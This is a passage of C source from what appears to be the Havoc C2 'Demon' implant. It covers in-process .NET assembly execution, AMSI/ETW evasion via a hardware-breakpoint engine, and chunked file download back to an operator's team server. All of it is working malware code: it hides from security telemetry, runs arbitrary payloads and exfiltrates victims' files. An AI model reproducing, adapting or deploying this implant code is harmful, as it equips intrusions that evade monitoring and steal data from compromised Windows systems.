Instance->Win32.NtTraceEvent, HwBpExNtTraceEvent, 1 ) ) ) { PRINTF( "Failed adding exception to HwBp Engine: %08x\n", Status ) return FALSE; } PackageTransmit( PackageInfo ); PackageInfo = NULL; #endif } else if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_MEMORY ) { /* todo: add memory patching technique */ } else { /* no patching */ } /* Let the operator know what version we are going to use. */ PackageInfo = PackageCreateWithRequestID( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE, Instance->Dotnet->RequestID ); PackageAddInt32( PackageInfo, DOTNET_INFO_NET_VERSION ); PackageAddBytes( PackageInfo, Instance->Dotnet->NetVersion.Buffer, Instance->Dotnet->NetVersion.Length ); PackageTransmit( PackageInfo ); PackageInfo = NULL; RgsBound[ 0 ].cElements = Assembly.Length; RgsBound[ 0 ].lLbound = 0; Instance->Dotnet->SafeArray = Instance->Win32.SafeArrayCreate( VT_UI1, 1, RgsBound ); PUTS( "CreateDomain..." ) if ( ( Result = Instance->Dotnet->ICorRuntimeHost->lpVtbl->CreateDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainName.Buffer, NULL, &Instance->Dotnet->AppDomainThunk ) ) ) { PRINTF( "CreateDomain Failed: %x\n", Result ) return FALSE; } PUTS( "QueryInterface..." ) if ( ( Result = Instance->Dotnet->AppDomainThunk->lpVtbl->QueryInterface( Instance->Dotnet->AppDomainThunk, &xIID_AppDomain, (LPVOID*)&Instance->Dotnet->AppDomain ) ) ) { PRINTF( "QueryInterface Failed: %x\n", Result ) return FALSE; } if ( ( Result = Instance->Win32.SafeArrayAccessData( Instance->Dotnet->SafeArray, &AssemblyData.Buffer ) ) ) { PRINTF( "SafeArrayAccessData Failed: %x\n", Result ) return FALSE; } PUTS( "Copy assembly to buffer..." ) MemCopy( AssemblyData.Buffer, Assembly.Buffer, Assembly.Length ); if ( ( Result = Instance->Win32.SafeArrayUnaccessData( Instance->Dotnet->SafeArray ) ) ) { PRINTF("SafeArrayUnaccessData Failed: %x\n", Result ) PACKAGE_ERROR_WIN32 } PUTS( "AppDomain Load..." ) if ( ( Result = Instance->Dotnet->AppDomain->lpVtbl->Load_3( Instance->Dotnet->AppDomain, Instance->Dotnet->SafeArray, &Instance->Dotnet->Assembly ) ) ) { PRINTF( "AppDomain Failed: %x\n", Result ) return FALSE; } PUTS( "Assembly EntryPoint..." ) if ( ( Result = Instance->Dotnet->Assembly->lpVtbl->EntryPoint( Instance->Dotnet->Assembly, &Instance->Dotnet->MethodInfo ) ) ) { PRINTF( "Assembly EntryPoint Failed: %x\n", Result ) return FALSE; } Instance->Dotnet->MethodArgs = Instance->Win32.SafeArrayCreateVector( VT_VARIANT, 0, 1 ); //Last field -> entryPoint == 1 is needed if Main(String[] args) 0 if Main() ArgumentsArray = Instance->Win32.CommandLineToArgvW( Arguments.Buffer, &ArgumentsCount ); ArgumentsArray++; ArgumentsCount--; Instance->Dotnet->vtPsa.vt = ( VT_ARRAY | VT_BSTR ); Instance->Dotnet->vtPsa.parray = Instance->Win32.SafeArrayCreateVector( VT_BSTR, 0, ArgumentsCount ); for ( LONG i = 0; i < ArgumentsCount; i++ ) { if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->vtPsa.parray, &i, Instance->Win32.SysAllocString( ArgumentsArray[ i ] ) ) ) ) { PRINTF( "Args SafeArrayPutElement Failed: %x\n", Result ) return FALSE; } } if ( ( Result = Instance->Win32.SafeArrayPutElement( Instance->Dotnet->MethodArgs, idx, &Instance->Dotnet->vtPsa ) ) ) { PRINTF( "SafeArrayPutElement Failed: %x\n", Result ) return FALSE; } Instance->Dotnet->StdOut = Instance->Win32.GetStdHandle( STD_OUTPUT_HANDLE ); Instance->Win32.SetStdHandle( STD_OUTPUT_HANDLE , Instance->Dotnet->File ); if ( ( Result = Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3( Instance->Dotnet->MethodInfo, Object, Instance->Dotnet->MethodArgs, &Instance->Dotnet->Return ) ) ) { PRINTF( "Invoke Assembly Failed: %x\n", Result ) return FALSE; } Instance->Dotnet->Invoked = TRUE; /* push output */ DotnetPush(); /* * TODO: Finish/Fix this. * It seems like its way to unstable to use this * assembly crashes the agent randomly and dont know why. * Fix this once i get motivated enough or remove this entirely. */ /* PUTS( "Create Thread..." ) MemSet( &ThreadAttr, 0, sizeof( PROC_THREAD_ATTRIBUTE_NUM ) ); MemSet( &ClientId, 0, sizeof( CLIENT_ID ) ); ThreadAttr.Entry.Attribute = ProcThreadAttributeValue( PsAttributeClientId, TRUE, FALSE, FALSE ); ThreadAttr.Entry.Size = sizeof( CLIENT_ID ); ThreadAttr.Entry.pValue = &ClientId; ThreadAttr.Length = sizeof( NT_PROC_THREAD_ATTRIBUTE_LIST ); PUTS( "Creating events..." ) if ( NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Event, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) && NT_SUCCESS( Instance->Win32.NtCreateEvent( &Instance->Dotnet->Exit, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) { if ( NT_SUCCESS( Instance->Win32.NtCreateThreadEx( &Instance->Dotnet->Thread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), Instance->Config.Implant.ThreadStartAddr, NULL, TRUE, 0, 0x10000 * 20, 0x10000 * 20, &ThreadAttr ) ) ) { Instance->Dotnet->RopInit = MmHeapAlloc( sizeof( CONTEXT ) ); Instance->Dotnet->RopInvk = MmHeapAlloc( sizeof( CONTEXT ) ); Instance->Dotnet->RopEvnt = MmHeapAlloc( sizeof( CONTEXT ) ); Instance->Dotnet->RopExit = MmHeapAlloc( sizeof( CONTEXT ) ); Instance->Dotnet->RopInit->ContextFlags = CONTEXT_FULL; if ( NT_SUCCESS( Instance->Win32.NtGetContextThread( Instance->Dotnet->Thread, Instance->Dotnet->RopInit ) ) ) { MemCopy( Instance->Dotnet->RopInvk, Instance->Dotnet->RopInit, sizeof( CONTEXT ) ); MemCopy( Instance->Dotnet->RopEvnt, Instance->Dotnet->RopInit, sizeof( CONTEXT ) ); MemCopy( Instance->Dotnet->RopExit, Instance->Dotnet->RopInit, sizeof( CONTEXT ) ); // This rop executes the entrypoint of the assembly Instance->Dotnet->RopInvk->ContextFlags = CONTEXT_FULL; Instance->Dotnet->RopInvk->Rsp -= U_PTR( 0x1000 * 6 ); Instance->Dotnet->RopInvk->Rip = U_PTR( Instance->Dotnet->MethodInfo->lpVtbl->Invoke_3 ); Instance->Dotnet->RopInvk->Rcx = U_PTR( Instance->Dotnet->MethodInfo ); Instance->Dotnet->RopInvk->Rdx = U_PTR( &Object ); Instance->Dotnet->RopInvk->R8 = U_PTR( Instance->Dotnet->MethodArgs ); Instance->Dotnet->RopInvk->R9 = U_PTR( &Instance->Dotnet->Return ); *( PVOID* )( Instance->Dotnet->RopInvk->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert ); // This rop tells the main thread (our agent main thread) that the assembly executable finished executing Instance->Dotnet->RopEvnt->ContextFlags = CONTEXT_FULL; Instance->Dotnet->RopEvnt->Rsp -= U_PTR( 0x1000 * 5 ); Instance->Dotnet->RopEvnt->Rip = U_PTR( Instance->Win32.NtSetEvent ); Instance->Dotnet->RopEvnt->Rcx = U_PTR( Instance->Dotnet->Event ); Instance->Dotnet->RopEvnt->Rdx = U_PTR( NULL ); *( PVOID* )( Instance->Dotnet->RopEvnt->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert ); // Wait til we freed everything from the dotnet Instance->Dotnet->RopExit->ContextFlags = CONTEXT_FULL; Instance->Dotnet->RopExit->Rsp -= U_PTR( 0x1000 * 4 ); Instance->Dotnet->RopExit->Rip = U_PTR( Instance->Win32.NtWaitForSingleObject ); Instance->Dotnet->RopExit->Rcx = U_PTR( Instance->Dotnet->Exit ); Instance->Dotnet->RopExit->Rdx = U_PTR( FALSE ); Instance->Dotnet->RopExit->R8 = U_PTR( NULL ); *( PVOID* )( Instance->Dotnet->RopExit->Rsp + ( sizeof( ULONG_PTR ) * 0x0 ) ) = U_PTR( Instance->Win32.NtTestAlert ); if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopInvk, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopEvnt, FALSE, NULL ) ) ) goto Leave; if ( ! NT_SUCCESS( Instance->Win32.NtQueueApcThread( Instance->Dotnet->Thread, Instance->Win32.NtContinue, Instance->Dotnet->RopExit, FALSE, NULL ) ) ) goto Leave; PUTS( "Resume Thread..." ) if ( NT_SUCCESS( Instance->Win32.NtAlertResumeThread( Instance->Dotnet->Thread, NULL ) ) ) { PUTS( "Apc started and assembly invoked." ) PackageInfo = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE ); PackageAddInt32( PackageInfo, DOTNET_INFO_ENTRYPOINT_EXECUTED ); PackageAddInt32( PackageInfo, ClientId.UniqueThread ); PackageTransmit( PackageInfo ); // we have successfully invoked the main function of the assembly executable. Instance->Dotnet->Invoked = TRUE; } else PUTS( "NtAlertResumeThread failed" ) } else PUTS( "NtGetThreadContext failed" ) } else PUTS( "NtCreateThreadEx failed" ) } else PUTS( "NtCreateEvent failed" ) */ return TRUE; } /* push anything from the pipe */ VOID DotnetPushPipe() { DWORD Read = 0; DWORD BytesRead = 0; if ( ! Instance->Dotnet ) return; /* see how much there is in the named pipe */ if ( Instance->Win32.PeekNamedPipe( Instance->Dotnet->Pipe, NULL, 0, NULL, &Read, NULL ) ) { PRINTF( "Read: %d\n", Read ); if ( Read > 0 ) { Instance->Dotnet->Output.Length = Read; Instance->Dotnet->Output.Buffer = MmHeapAlloc( Instance->Dotnet->Output.Length ); Instance->Win32.ReadFile( Instance->Dotnet->Pipe, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length, &BytesRead, NULL ); Instance->Dotnet->Output.Length = BytesRead; PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, Instance->Dotnet->RequestID ); PackageAddBytes( Package, Instance->Dotnet->Output.Buffer, Instance->Dotnet->Output.Length ); PackageTransmit( Package ); if ( Instance->Dotnet->Output.Buffer ) { MemSet( Instance->Dotnet->Output.Buffer, 0, Read ); MmHeapFree( Instance->Dotnet->Output.Buffer ); Instance->Dotnet->Output.Buffer = NULL; } } } } VOID DotnetPush() { if ( ! Instance->Dotnet ) return; PRINTF( "Instance->Dotnet->Invoked: %s\n", Instance->Dotnet->Invoked ? "TRUE" : "FALSE" ) if ( Instance->Dotnet->Invoked ) { /* Read from the assembly named pipe and send it to the server */ DotnetPushPipe(); /* check if the assembly is still running. */ /* if ( Instance->Win32.WaitForSingleObjectEx( Instance->Dotnet->Event, 0, FALSE ) == WAIT_OBJECT_0 ) { PUTS( "Event has been signaled" ) Package = PackageCreate( DEMON_COMMAND_ASSEMBLY_INLINE_EXECUTE ); PackageAddInt32( Package, DOTNET_INFO_FINISHED ); PackageTransmit( Package ); PUTS( "Dotnet Invoke thread isn't active anymore." ) Close = TRUE; } */ /* just in case the assembly pushed something last minute... */ DotnetPushPipe(); /* Now free everything */ DotnetClose(); } } VOID DotnetClose() { #ifndef DEBUG Instance->Win32.FreeConsole(); #endif if ( Instance->Config.Implant.AmsiEtwPatch == AMSIETW_PATCH_HWBP ) { HwBpEngineDestroy( NULL ); } if ( Instance->Dotnet->Event ) { SysNtClose( Instance->Dotnet->Event ); } if ( Instance->Dotnet->Pipe ) { SysNtClose( Instance->Dotnet->Pipe ); } if ( Instance->Dotnet->File ) { SysNtClose( Instance->Dotnet->File ); } if ( Instance->Dotnet->RopInit ) { MemSet( Instance->Dotnet->RopInit, 0, sizeof( CONTEXT ) ); Instance->Win32.LocalFree( Instance->Dotnet->RopInit ); Instance->Dotnet->RopInit = NULL; } if ( Instance->Dotnet->RopInvk ) { MemSet( Instance->Dotnet->RopInvk, 0, sizeof( CONTEXT ) ); Instance->Win32.LocalFree( Instance->Dotnet->RopInvk ); Instance->Dotnet->RopInvk = NULL; } if ( Instance->Dotnet->RopEvnt ) { MemSet( Instance->Dotnet->RopEvnt, 0, sizeof( CONTEXT ) ); Instance->Win32.LocalFree( Instance->Dotnet->RopEvnt ); Instance->Dotnet->RopEvnt = NULL; } if ( Instance->Dotnet->RopExit ) { MemSet( Instance->Dotnet->RopExit, 0, sizeof( CONTEXT ) ); Instance->Win32.LocalFree( Instance->Dotnet->RopExit ); Instance->Dotnet->RopExit = NULL; } PUTS( "Free Output" ) if ( Instance->Dotnet->Output.Buffer ) { MemSet( Instance->Dotnet->Output.Buffer, 0, Instance->Dotnet->Output.Length ); Instance->Win32.LocalFree( Instance->Dotnet->Output.Buffer ); Instance->Dotnet->Output.Buffer = NULL; } PUTS( "Unload and free CLR" ) if ( Instance->Dotnet->MethodArgs ) { Instance->Win32.SafeArrayDestroy( Instance->Dotnet->MethodArgs ); Instance->Dotnet->MethodArgs = NULL; } if ( Instance->Dotnet->MethodInfo != NULL ) { Instance->Dotnet->MethodInfo->lpVtbl->Release( Instance->Dotnet->MethodInfo ); Instance->Dotnet->MethodInfo = NULL; } if ( Instance->Dotnet->Assembly != NULL ) { Instance->Dotnet->Assembly->lpVtbl->Release( Instance->Dotnet->Assembly ); Instance->Dotnet->Assembly = NULL; } if ( Instance->Dotnet->AppDomain ) { Instance->Dotnet->AppDomain->lpVtbl->Release( Instance->Dotnet->AppDomain ); Instance->Dotnet->AppDomain = NULL; } if ( Instance->Dotnet->AppDomainThunk != NULL ) { Instance->Dotnet->AppDomainThunk->lpVtbl->Release( Instance->Dotnet->AppDomainThunk ); } if ( Instance->Dotnet->ICorRuntimeHost ) { Instance->Dotnet->ICorRuntimeHost->lpVtbl->UnloadDomain( Instance->Dotnet->ICorRuntimeHost, Instance->Dotnet->AppDomainThunk ); Instance->Dotnet->ICorRuntimeHost->lpVtbl->Stop( Instance->Dotnet->ICorRuntimeHost ); Instance->Dotnet->ICorRuntimeHost = NULL; } if ( Instance->Dotnet->ClrRuntimeInfo != NULL ) { Instance->Dotnet->ClrRuntimeInfo->lpVtbl->Release( Instance->Dotnet->ClrRuntimeInfo ); Instance->Dotnet->ClrRuntimeInfo = NULL; } if ( Instance->Dotnet->MetaHost != NULL ) { Instance->Dotnet->MetaHost->lpVtbl->Release( Instance->Dotnet->MetaHost ); Instance->Dotnet->MetaHost = NULL; } if ( Instance->Dotnet->Thread ) { SysNtTerminateThread( Instance->Dotnet->Thread, 0 ); SysNtClose( Instance->Dotnet->Thread ); } if ( Instance->Dotnet->Exit ) { SysNtClose( Instance->Dotnet->Exit ); } if ( Instance->Dotnet ) { MemSet( Instance->Dotnet, 0, sizeof( DOTNET_ARGS ) ); MmHeapFree( Instance->Dotnet ); Instance->Dotnet = NULL; } } BOOL FindVersion( PVOID Assembly, DWORD length ) { char* assembly_c; assembly_c = (char*)Assembly; char v4[] = { 0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39 }; for (int i = 0; i < length; i++) { for (int j = 0; j < 10; j++) { if (v4[j] != assembly_c[i + j]) break; else { if (j == (9)) return 1; } } } return 0; } DWORD ClrCreateInstance( LPCWSTR dotNetVersion, PICLRMetaHost *ppClrMetaHost, PICLRRuntimeInfo *ppClrRuntimeInfo, ICorRuntimeHost **ppICorRuntimeHost ) { BOOL fLoadable = FALSE; if ( RtMscoree() ) { if ( Instance->Win32.CLRCreateInstance( &xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, (LPVOID*)ppClrMetaHost ) == S_OK ) { if ( ( *ppClrMetaHost )->lpVtbl->GetRuntime( *ppClrMetaHost, dotNetVersion, &xIID_ICLRRuntimeInfo, (LPVOID*)ppClrRuntimeInfo ) == S_OK ) { if ( ( ( *ppClrRuntimeInfo )->lpVtbl->IsLoadable( *ppClrRuntimeInfo, &fLoadable ) == S_OK ) && fLoadable ) { //Load the CLR into the current process and return a runtime interface pointer. -> CLR changed to ICor which is deprecated but works if ( ( *ppClrRuntimeInfo )->lpVtbl->GetInterface( *ppClrRuntimeInfo, &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, (LPVOID*)ppICorRuntimeHost ) == S_OK ) { //Start it. This is okay to call even if the CLR is already running ( *ppICorRuntimeHost )->lpVtbl->Start( *ppICorRuntimeHost ); } else { PRINTF("[-] ( GetInterface ) Process refusing to get interface of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion); return 0; } } else { PRINTF("[-] ( IsLoadable ) Process refusing to load %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion); return 0; } } else { PRINTF("[-] ( GetRuntime ) Process refusing to get runtime of %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion); return 0; } } else { PRINTF("[-] ( CLRCreateInstance ) Process refusing to create %ls CLR version. Try running an assembly that requires a different CLR version.\n", dotNetVersion); return 0; } } else { PUTS("Failed to load mscoree.dll") return 0; } return 1; }havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/Download.c000066400000000000000000000251701467014221700236040ustar00rootroot00000000000000#include #include /* Add file to linked list with type (upload/download) */ PDOWNLOAD_DATA DownloadAdd( HANDLE hFile, LONGLONG MaxSize ) { PDOWNLOAD_DATA Download = NULL; Download = MmHeapAlloc( sizeof( DOWNLOAD_DATA ) ); Download->FileID = RandomNumber32(); Download->hFile = hFile; Download->Size = MaxSize; Download->State = DOWNLOAD_STATE_RUNNING; Download->Next = Instance->Downloads; Download->RequestID = Instance->CurrentRequestID; /* Push to linked list */ Instance->Downloads = Download; PRINTF( "Instance->Downloads => %p\n", Instance->Downloads ) return Download; } /* Get download data from linked list */ PDOWNLOAD_DATA DownloadGet( DWORD FileID ) { PDOWNLOAD_DATA Download = NULL; for ( Download = Instance->Downloads; Download == NULL; Download = Download->Next ) { if ( Download->FileID == FileID ) break; } return Download; } /* Free's download and returns next download from specified download object. */ VOID DownloadFree( PDOWNLOAD_DATA Download ) { /* close file handle. */ if ( Download->hFile ) { SysNtClose( Download->hFile ); } PUTS( "Free download object" ) /* Now free the struct */ MemSet( Download, 0, sizeof( DOWNLOAD_DATA ) ); MmHeapFree( Download ); Download = NULL; } BOOL DownloadRemove( DWORD FileID ) { PDOWNLOAD_DATA Download = NULL; PDOWNLOAD_DATA Last = NULL; BOOL Success = FALSE; Download = Instance->Downloads; Last = Instance->Downloads; for ( ;; ) { if ( ! Download ) { break; } if ( Download->FileID == FileID ) { PRINTF( "Found Download (%x)\n", FileID ) /* Remove download from the list. */ Last->Next = Download->Next; DownloadFree( Download ); /* return that we succeeded. */ Success = TRUE; break; } Last = Download; Download = Download->Next; } return Success; } /* send file chunks to team server */ VOID DownloadPush() { PDOWNLOAD_DATA Download = NULL; PDOWNLOAD_DATA DownLast = NULL; PPACKAGE Package = NULL; Download = Instance->Downloads; /* do we actually have downloads pending? */ if ( ! Download ) { /* we don't have any downloads, free the DownloadChunk if we have one */ if ( Instance->DownloadChunk.Buffer ) { MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length ); MmHeapFree( Instance->DownloadChunk.Buffer ); Instance->DownloadChunk.Buffer = NULL; } return; } /* process current running downloads () */ for ( ;; ) { if ( ! Download ) break; /* seems like we have some current downloads * allocate a chunk of memory to use for the chunks. */ if ( ! Instance->DownloadChunk.Buffer ) { Instance->DownloadChunk.Buffer = MmHeapAlloc( Instance->Config.Implant.DownloadChunkSize ); Instance->DownloadChunk.Length = Instance->Config.Implant.DownloadChunkSize; PRINTF( "Allocated memory for DownloadChunk. Buffer:[%p] Size:[%d]\n", Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length ) } PRINTF( "Download: %p\n", Download ) if ( Download->State == DOWNLOAD_STATE_RUNNING ) { DWORD Read = 0; PRINTF( "Download (%x) is in state DOWNLOAD_STATE_RUNNING\n", Download->FileID ) /* Reset memory. */ MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length ); if ( ! Instance->Win32.ReadFile( Download->hFile, Instance->DownloadChunk.Buffer, Instance->DownloadChunk.Length, &Read, NULL ) ) PRINTF( "ReadFile Failed: Error[%d]\n", NtGetLastError() ); Download->Size -= Read; Download->ReadSize += Read; /* Send chunk we read */ if ( Read > 0 ) { PUTS( "Send download chunk" ) Package = PackageCreateWithRequestID( DEMON_COMMAND_FS, Download->RequestID ); /* Add Download header. */ PackageAddInt32( Package, 2 ); /* Download sub command */ PackageAddInt32( Package, DOWNLOAD_MODE_WRITE ); PackageAddInt32( Package, Download->FileID ); /* Download Write data (and only send what we read.) */ PackageAddBytes( Package, Instance->DownloadChunk.Buffer, Read ); /* Send that chunk */ PUTS( "transmit download chunk" ) PackageTransmit( Package ); } /* if this was the last chunk we read send a finish download close request */ if ( ( Read > 0 ) && ( ! Download->Size ) ) { Package = PackageCreateWithRequestID( DEMON_COMMAND_FS, Download->RequestID ); /* Add Download header. */ PackageAddInt32( Package, 2 ); /* Download sub command */ PackageAddInt32( Package, DOWNLOAD_MODE_CLOSE ); PackageAddInt32( Package, Download->FileID ); /* Download Close data */ PackageAddInt32( Package, DOWNLOAD_REASON_FINISHED ); /* Send that chunk */ PackageTransmit( Package ); } /* if either what we read or the download size is 0 we are finished. */ if ( ( ! Read ) || ( ! Download->Size ) ) { PRINTF( "Read:[%d] Download->Size:[%d]. Set Download (%x) State to DOWNLOAD_STATE_REMOVE\n", Read, Download->Size, Download->FileID ) /* Seems there is nothing else to read from the file. * remove it at the end of the download routine. */ Download->State = DOWNLOAD_STATE_REMOVE; } } PRINTF( "Download[%p] = Download->Next[%p]\n", Download, Download->Next ) Download = Download->Next; } Download = Instance->Downloads; DownLast = NULL; /* why do we do that again ? * seems like I can't remove the download item from a linked list while iterating over it. was easier to do this. */ for ( ;; ) { if ( ! Download ) break; if ( Download->State == DOWNLOAD_STATE_REMOVE ) { /* we are at the beginning. */ if ( ! DownLast ) { Instance->Downloads = Download->Next; DownloadFree( Download ); Download = NULL; } else { DownLast->Next = Download->Next; DownloadFree( Download ); DownLast = NULL; } } else { DownLast = Download; Download = Download->Next; } } /* Reset memory. */ if ( Instance->DownloadChunk.Buffer ) MemSet( Instance->DownloadChunk.Buffer, 0, Instance->DownloadChunk.Length ); } BOOL MemFileIsNew( ULONG32 ID ) { PMEM_FILE MemFile = Instance->MemFiles; while ( MemFile ) { if ( MemFile->ID == ID ) return FALSE; MemFile = MemFile->Next; } return TRUE; } /* Add MemFile to linked list */ PMEM_FILE NewMemFile( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ) { PMEM_FILE MemFile = NULL; MemFile = MmHeapAlloc( sizeof( MEM_FILE ) ); MemFile->ID = ID; MemFile->Size = Size; MemFile->Data = MmHeapAlloc( MemFile->Size ); MemFile->ReadSize = 0; MemFile->Next = Instance->MemFiles; if ( ! MemFile->Data ) { PRINTF( "Failed to allocate %lx bytes\n", MemFile->Size ); return NULL; } MemCopy( MemFile->Data, Data, ReadSize ); MemFile->ReadSize += ReadSize; MemFile->IsCompleted = MemFile->Size == MemFile->ReadSize; PRINTF( "Copying %x bytes, bytes missing: 0x%x\n", ReadSize, MemFile->Size - MemFile->ReadSize ) /* Push to linked list */ Instance->MemFiles = MemFile; PRINTF( "Added a MemFile [%x]\n", MemFile->ID ) return MemFile; } PMEM_FILE GetMemFile( ULONG32 ID ) { PMEM_FILE MemFile = Instance->MemFiles; while ( MemFile ) { if ( MemFile->ID == ID ) return MemFile; MemFile = MemFile->Next; } return NULL; } PMEM_FILE ProcessMemFileChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ) { PMEM_FILE MemFile = NULL; if ( MemFileIsNew( ID ) ) { MemFile = NewMemFile( ID, Size, Data, ReadSize ); } else { MemFile = MemFileReadChunk( ID, Size, Data, ReadSize ); } return MemFile; } PMEM_FILE MemFileReadChunk( ULONG32 ID, SIZE_T Size, PVOID Data, ULONG32 ReadSize ) { PMEM_FILE MemFile = NULL; MemFile = GetMemFile( ID ); if ( ! MemFile ) { PRINTF( "MemFile with the id %x was not found\n", ID ); return NULL; } PRINTF( "Copying %x bytes, bytes missing: 0x%x\n", ReadSize, MemFile->Size - MemFile->ReadSize ) MemCopy( C_PTR( U_PTR( MemFile->Data ) + MemFile->ReadSize ), Data, ReadSize ); MemFile->ReadSize += ReadSize; MemFile->IsCompleted = MemFile->Size == MemFile->ReadSize; return MemFile; } VOID MemFileFree( PMEM_FILE MemFile ) { if ( MemFile->Data && MemFile->Size ) MemSet( MemFile->Data, 0, MemFile->Size ); if ( MemFile->Data ) MmHeapFree( MemFile->Data ); MemFile->Data = NULL; MemFile->Size = 0; MemSet( MemFile, 0, sizeof( MEM_FILE ) ); MmHeapFree( MemFile ); MemFile = NULL; } BOOL RemoveMemFile( ULONG32 ID ) { PMEM_FILE MemFile = NULL; PMEM_FILE Last = NULL; BOOL Success = FALSE; if ( Instance->MemFiles && Instance->MemFiles->Next == NULL ) { if ( Instance->MemFiles->ID == ID ) { MemFileFree( Instance->MemFiles ); Instance->MemFiles = NULL; Success = TRUE; } PRINTF( "Removed MemFile [%x] : %d\n", ID, Success ) return Success; } MemFile = Instance->MemFiles; Last = Instance->MemFiles; for ( ;; ) { if ( ! MemFile ) break; if ( MemFile->ID == ID ) { /* Remove it from the list. */ Last->Next = MemFile->Next; MemFileFree( MemFile ); /* return that we succeeded. */ Success = TRUE; break; } Last = MemFile; MemFile = MemFile->Next; } PRINTF( "Removed MemFile [%x] : %d\n", ID, Success ) return Success; } havoc-0.6~git20240910.69ce17c/payloads/Demon/src/core/HwBpEngine.c000066400000000000000000000225121467014221700240200ustar00rootroot00000000000000#include #include #include #include #include LONG ExceptionHandler( _Inout_ PEXCEPTION_POINTERS Exception ); /*! * Init Hardware breakpoint engine by * registering a Vectored exception handler * @param Engine if empty global handler gonna be used * @param Handler * @return */ NTSTATUS HwBpEngineInit( OUT PHWBP_ENGINE Engine, IN PVOID Handler ) { PHWBP_ENGINE HwBpEngine = Engine; PVOID HwBpHandler = Handler; /* check if an engine object has been specified in the function param. * if not then check if the callee wants to init the global engine. * tho if the global engine has been already init then abort */ if ( ( ! HwBpEngine && ! HwBpHandler ) && Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } if ( Instance->HwBpEngine ) { } /* since we did not specify an engine let's use the global one */ if ( ! HwBpEngine ) { HwBpEngine = Instance->HwBpEngine = MmHeapAlloc( sizeof( HWBP_ENGINE ) ); HwBpHandler = &ExceptionHandler; } /* register Vectored exception handler */ if ( ! ( HwBpEngine->Veh = Instance->Win32.RtlAddVectoredExceptionHandler( TRUE, HwBpHandler ) ) ) { return STATUS_UNSUCCESSFUL; } /* tell the engine that it has not added anything atm */ HwBpEngine->First = TRUE; return STATUS_SUCCESS; } /*! * Set hardware breakpoint on specified address * @param Tib * @param Address * @param Position * @param Add * @return */ NTSTATUS HwBpEngineSetBp( IN DWORD Tid, IN PVOID Address, IN BYTE Position, IN BYTE Add ) { DWORD Pid = Instance->Session.PID; CLIENT_ID Client = { 0 }; CONTEXT Context = { 0 }; HANDLE Thread = NULL; NTSTATUS Status = STATUS_SUCCESS; OBJECT_ATTRIBUTES ObjAttr = { 0 }; /* Initialize Object Attributes */ InitializeObjectAttributes( &ObjAttr, NULL, 0, NULL, NULL ); Client.UniqueProcess = C_PTR( Pid ); Client.UniqueThread = C_PTR( Tid ); /* try to get open thread handle */ if ( ! NT_SUCCESS( SysNtOpenThread( &Thread, THREAD_ALL_ACCESS, &ObjAttr, &Client ) ) ) goto FAILED; Context.ContextFlags = CONTEXT_DEBUG_REGISTERS; /* try to get context of thread */ if ( ! NT_SUCCESS( Status = SysNtGetContextThread( Thread, &Context ) ) ) { goto FAILED; } /* add hardware breakpoint */ if ( Add ) { /* set address */ ( &Context.Dr0 )[ Position ] = U_PTR( Address ); /* setup registers */ Context.Dr7 &= ~( 3ull << ( 16 + 4 * Position ) ); Context.Dr7 &= ~( 3ull << ( 18 + 4 * Position ) ); Context.Dr7 |= 1ull << ( 2 * Position ); } else /* remove hardware breakpoint */ { if ( ( &Context.Dr0 )[ Position ] == Address ) { PRINTF( "Dr Registers: \n" "- Dr0[%d]: %p \n" "- Dr7 : %p \n", Position, ( &Context.Dr0 )[ Position ], Context.Dr7 ) ( &Context.Dr0 )[ Position ] = U_PTR( NULL ); Context.Dr7 &= ~( 1ull << ( 2 * Position ) ); PRINTF( "Dr Registers: \n" "- Dr0[%d]: %p \n" "- Dr7 : %p \n", Position, ( &Context.Dr0 )[ Position ], Context.Dr7 ) } } /* try to get context of thread */ if ( ! NT_SUCCESS( Status = SysNtSetContextThread( Thread, &Context ) ) ) { goto FAILED; } return Status; FAILED: if ( Thread ) { SysNtClose( Thread ); Thread = NULL; } return Status; } /*! * Set an hardware breakpoint to an address * and adds it to the engine breakpoints list linked * @param Engine * @param Thread * @param Address * @param Function * @param Position * @return */ NTSTATUS HwBpEngineAdd( IN PHWBP_ENGINE Engine, IN DWORD Tid, IN PVOID Address, IN PVOID Function, IN BYTE Position ) { PHWBP_ENGINE HwBpEngine = Engine; PBP_LIST BpEntry = NULL; PRINTF( "Engine:[%p] Tid:[%d] Address:[%p] Function:[%p] Position:[%d]\n", Engine, Tid, Address, Function, Position ) /* check if engine has been specified */ if ( ! HwBpEngine && ! Instance->HwBpEngine ) { return STATUS_INVALID_PARAMETER; } /* check if the right params has been specified */ if ( ! Address || ! Function ) { return 